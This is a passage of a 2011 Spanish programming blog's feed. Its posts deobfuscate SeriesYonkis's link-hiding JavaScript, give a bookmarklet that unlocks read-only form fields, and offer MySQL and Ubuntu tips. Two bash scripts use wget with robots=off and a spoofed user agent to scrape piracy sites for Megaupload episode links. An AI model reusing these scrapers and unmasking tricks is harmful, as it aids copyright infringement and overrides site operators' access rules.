/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return b&lt;br /&gt;}&lt;br /&gt;function ccM(a, c) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var d = a;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var e = 900 + 101 + 43 - 27 - 1000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var f = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var g = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var h = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var b = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; e += 23 + 100 + 114;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (i = 0; i &amp;lt; d.length; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; g = e ^ d.charCodeAt(i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (e &amp;gt; 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; f += String.fromCharCode(g * 1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; f += String.fromCharCode(2 * g)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return f&lt;br /&gt;}&lt;br /&gt;function cc(a) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var c = a;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var d = 900 + 101 + 43 - 27 - 1000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var e = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var f = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var g = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var b = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; d += 23 + 100;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (i = 0; i &amp;lt; c.length; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; f = d ^ c.charCodeAt(i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c.length == 12 || i == c.length * 31 || i == c.length * 1 - 1 || i == c.length * 9 + 3) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; g = f;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; f += 4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; g--;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; f -= 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else if (i &amp;gt; 0 &amp;amp;&amp;amp; d &amp;gt; 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b = i * 3;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (b &amp;gt; 25) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b -= 4&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; f = 1 - b + f - 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (d &amp;gt; 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e += String.fromCharCode(f * 1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e += String.fromCharCode(2 * f)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return e&lt;br /&gt;}&lt;br /&gt;function sy1() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (aux.length &amp;lt; 24) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; aux = urlencode(url.id)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; aux = ccM(_utf8_decode(unescape(aux)));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var a = aux;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var b = a.split(":");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var c = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (c = 0; c &amp;lt; b.length; c++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (b.length &amp;gt; 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.write("&amp;lt;br /&amp;gt;&amp;lt;span style='font-size: 1.5em'&amp;gt;&amp;lt;font color='#FF0000'&amp;gt;&amp;lt;b&amp;gt;Parte " + (c + 1) + "/" + b.length + "&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.write('&amp;lt;h3&amp;gt;&amp;lt;img src="http://images.peliculasyonkis.com/images/tdescargar2.png" title="Descargar" alt="Descargar" style="vertical-align: middle;" /&amp;gt;&amp;lt;a href="http://www.megaupload.com/es/?d=' + b[c] + '"&amp;gt;DESCARGAR PARTE ' + (c + 1) + ' DESDE MEGAUPLOAD&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.write("&amp;lt;br /&amp;gt;")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.write("&amp;lt;br /&amp;gt;&amp;lt;h1&amp;gt;&amp;lt;a target='_blank' href='http://www.megaupload.com/?s=seriesyonkis&amp;amp;d=" + a + "&amp;amp;confirmed=1'&amp;gt;DESCARGAR EL VIDEO &amp;lt;br /&amp;gt;DESDE MEGAVIDEO (REQUIERE ESPERA)&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.write("&amp;lt;br /&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a target='_blank' href='http://www.megaupload.com/?s=seriesyonkis&amp;amp;d=" + a + "&amp;amp;confirmed=1'&amp;gt;http://www.megaupload.com/?s=seriesyonkis&amp;amp;d=" + a + "&amp;amp;confirmed=1&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;/blockquote&gt;Como siempre pastebin &lt;a href="http://pastebin.com/ZHMTq5q4"&gt;http://pastebin.com/ZHMTq5q4&lt;/a&gt; Paso seguidos &lt;a href="http://donzeyt.blogspot.com/2011/03/java-script-wget-no-rompamosnos-la.html"&gt;http://donzeyt.blogspot.com/2011/03/java-script-wget-no-rompamosnos-la.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Que os cunda! &lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2225132514577371563?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2225132514577371563/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/03/series-yonkis-njs-que-hace.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2225132514577371563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2225132514577371563'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/03/series-yonkis-njs-que-hace.html' title='Series Yonkis - n.js ¿Qué hace?'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7885586073694257681</id><published>2011-03-24T01:25:00.000+01:00</published><updated>2011-03-24T01:25:36.109+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Ingenieria Inversa'/><title type='text'>Java Script Wget ? No! - Rompamosnos la cabeza.</title><content type='html'>Digamos que tenemos un código javascript empaquetado, lo sabemos porque empieza por algo así eval(function((p)(a)(c)(k)(e)(r)){ de Dean Edwards&lt;br /&gt;&lt;br /&gt;Pues muy fácil:&lt;br /&gt;1- Ir a &lt;br /&gt;&lt;a href="http://dean.edwards.name/packer/"&gt;http://dean.edwards.name/packer/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;2- Pegar en el navegador esto&lt;br /&gt;javascript:for%20(i=0;i&amp;lt;document.forms.length;++i)%20{for(j=0;j&amp;lt;document.forms[i].elements.length;++j){document.forms[i].elements[j].removeAttribute(%22readonly%22);document.forms[i].elements[j].removeAttribute(%22disabled%22);}}&lt;br /&gt;&lt;br /&gt;3- Pegar el código ofuscado&lt;br /&gt;&lt;br /&gt;4-Limpiarlo&lt;br /&gt;http://jsbeautifier.org/ &lt;br /&gt;&lt;br /&gt;5-PROFIT!&lt;br /&gt;&lt;br /&gt;Un saludo!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7885586073694257681?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7885586073694257681/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/03/java-script-wget-no-rompamosnos-la.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7885586073694257681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7885586073694257681'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/03/java-script-wget-no-rompamosnos-la.html' title='Java Script Wget ? No! - Rompamosnos la cabeza.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5725002974677457560</id><published>2011-03-05T17:30:00.000+01:00</published><updated>2011-03-05T17:30:32.236+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><title type='text'>MYSQL: Funciones útiles</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;b&gt;Ucase en MYSQL&lt;/b&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;UPDATE `tabla` SET `campo` =CONCAT(UCASE(SUBSTRING(`campo`, 1, 1)),LOWER(SUBSTRING(`campo`, 2)));&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Str_replace en MYSQL &lt;/b&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;UPDATE `tabla` SET campo=REPLACE(tabla.campo, 'busqueda','reemplazo')&lt;/li&gt;&lt;/ul&gt;Espero que os sirvan!&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5725002974677457560?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5725002974677457560/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/03/mysql-funciones-utiles.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5725002974677457560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5725002974677457560'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/03/mysql-funciones-utiles.html' title='MYSQL: Funciones útiles'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-4210770572544760249</id><published>2011-03-01T15:51:00.000+01:00</published><updated>2011-03-01T15:51:17.355+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Descarga Directa'/><category scheme='http://www.blogger.com/atom/ns#' term='Bash'/><title type='text'>Script para ver películas</title><content type='html'>Aquí os dejo un script que os recomienda aleatoriamente una película y os la abre en el firefox si la elegís. Es un buen sistema para esos días que da pereza escoger y navegar! &lt;a href="http://pastebin.com/cvUfFuCh"&gt;Enlace PasteBin&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#!/bin/bash&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; OP=1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cd /tmp/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while [ $OP -eq 1 ]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; VALOR=`echo $(($RANDOM%9999))`&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; wget http://www.divxonline.info/pelicula/$VALOR/Pambufering-All-Day-Long/ &amp;amp;&amp;gt;/dev/null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cat index.html | egrep "&amp;lt;title&amp;gt;(.)*&amp;lt;/title&amp;gt;" | sed -e :a -e 's/&amp;lt;[^&amp;gt;]*&amp;gt;//g;/&amp;lt;/N;//ba'&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; rm index.html&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo "1 para byscar otra"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; read OP&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if [ $OP -ne 1 ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; firefox http://www.divxonline.info/pelicula/$VALOR/Pambufering-All-Day-Long/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; done&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-4210770572544760249?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/4210770572544760249/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/03/script-para-ver-peliculas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4210770572544760249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4210770572544760249'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/03/script-para-ver-peliculas.html' title='Script para ver películas'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3686721923518833729</id><published>2011-02-22T23:10:00.000+01:00</published><updated>2011-02-22T23:10:45.323+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Descarga Directa'/><category scheme='http://www.blogger.com/atom/ns#' term='Bash'/><title type='text'>Generador de enlaces de descarga directa de Series Yonkis</title><content type='html'>Bueno, aquí os dejo un proyecto inacabado que espero que alguien retome.&lt;br /&gt;Se trata de un generador de enlaces de descarga basado en la popular web www.seriesyonkis.com , no coge los de megavideo si no los de Descarga Directa&lt;br /&gt;&lt;br /&gt;Es un script en bash que recolecta toda la información mediante dos parametros pedidos por teclado: 1 la serie ej: House&amp;nbsp; y 2 la temporada ej: 7&lt;br /&gt;&lt;br /&gt;El principal problema reside en que wget no ejecuta javascript y seriesyonkis oculta sus enlaces mediante una función javascript que está un tanto ofuscada.&lt;br /&gt;&lt;br /&gt;Si hay algún gurú de javascript por la zona que sea amante de bash, por favor que continúe con este programa.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gracias! -&amp;gt; &lt;a href="http://pastebin.com/3bShHbc1"&gt;Código en PASTEBIN&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#!/bin/bash&lt;br /&gt;####&lt;br /&gt;echo "Introduzca el nombre de la serie"&lt;br /&gt;read serie&lt;br /&gt;echo "Introduzca el numero de temporada"&lt;br /&gt;read temporada&lt;br /&gt;#####&lt;br /&gt;cd /tmp/&lt;br /&gt;wget "http://www.seriesyonkis.com/serie/"$serie"/" -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O $serie &amp;amp;&amp;gt;/dev/null&lt;br /&gt;cat $serie | awk -F'&amp;gt;' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='&amp;lt;' &amp;amp;&amp;gt; $serie".enlaces"&lt;br /&gt;grep $temporada"x" $serie".enlaces" &amp;amp;&amp;gt; $serie&lt;br /&gt;egrep -o "http:.*/ " $serie &amp;amp;&amp;gt; $serie".enlaces"&lt;br /&gt;echo $serie" "$temporada&lt;br /&gt;for capitulo in $(cat $serie."enlaces"); do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; wget $capitulo -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O "capitulo" &amp;amp;&amp;gt;/dev/null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cat "capitulo" | awk -F'&amp;gt;' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='&amp;lt;' &amp;amp;&amp;gt; "capitulo.enlaces"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; grep "DESCARGAR DE megaupload" "capitulo.enlaces" &amp;amp;&amp;gt; "capitulo"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; egrep -o "http:.*" capitulo | cut -d " " -f1 | head -n1 &amp;amp;&amp;gt; "capitulo.enlaces"cat&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for descarga in $(cat "capitulo.enlaces"); do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; wget $descarga -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O "descarga" &amp;amp;&amp;gt;/dev/null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cat "descarga" | awk -F'&amp;gt;' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='&amp;lt;' &amp;amp;&amp;gt; "descarga.enlaces"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cat "descarga.enlaces"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; rm "descarga.enlaces"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; rm "descarga"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; done;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm "capitulo"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm "capitulo.enlaces"&lt;br /&gt;done&lt;br /&gt;rm $serie&lt;br /&gt;rm $serie".enlaces"&lt;br /&gt;exit 0&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3686721923518833729?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3686721923518833729/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/02/generador-de-enlaces-de-descarga.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3686721923518833729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3686721923518833729'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/02/generador-de-enlaces-de-descarga.html' title='Generador de enlaces de descarga directa de Series Yonkis'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-1686560761242292107</id><published>2011-02-03T22:47:00.000+01:00</published><updated>2011-02-03T22:47:24.829+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Dependencias'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Problemas dependencias Ubuntu</title><content type='html'>Cuando tengamos un &lt;b&gt;problema con las dependencias&lt;/b&gt; de nuestro sistema operativo o nos &lt;b&gt;retenga&lt;/b&gt; algunas &lt;b&gt;actualizaciones&lt;/b&gt; lo recomendable es ejecutar el siguiente comando:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;sudo aptitude full-upgrade&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;Mano de santo oiga!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-1686560761242292107?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/1686560761242292107/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2011/02/problemas-dependencias-ubuntu.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1686560761242292107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1686560761242292107'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2011/02/problemas-dependencias-ubuntu.html' title='Problemas dependencias Ubuntu'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image 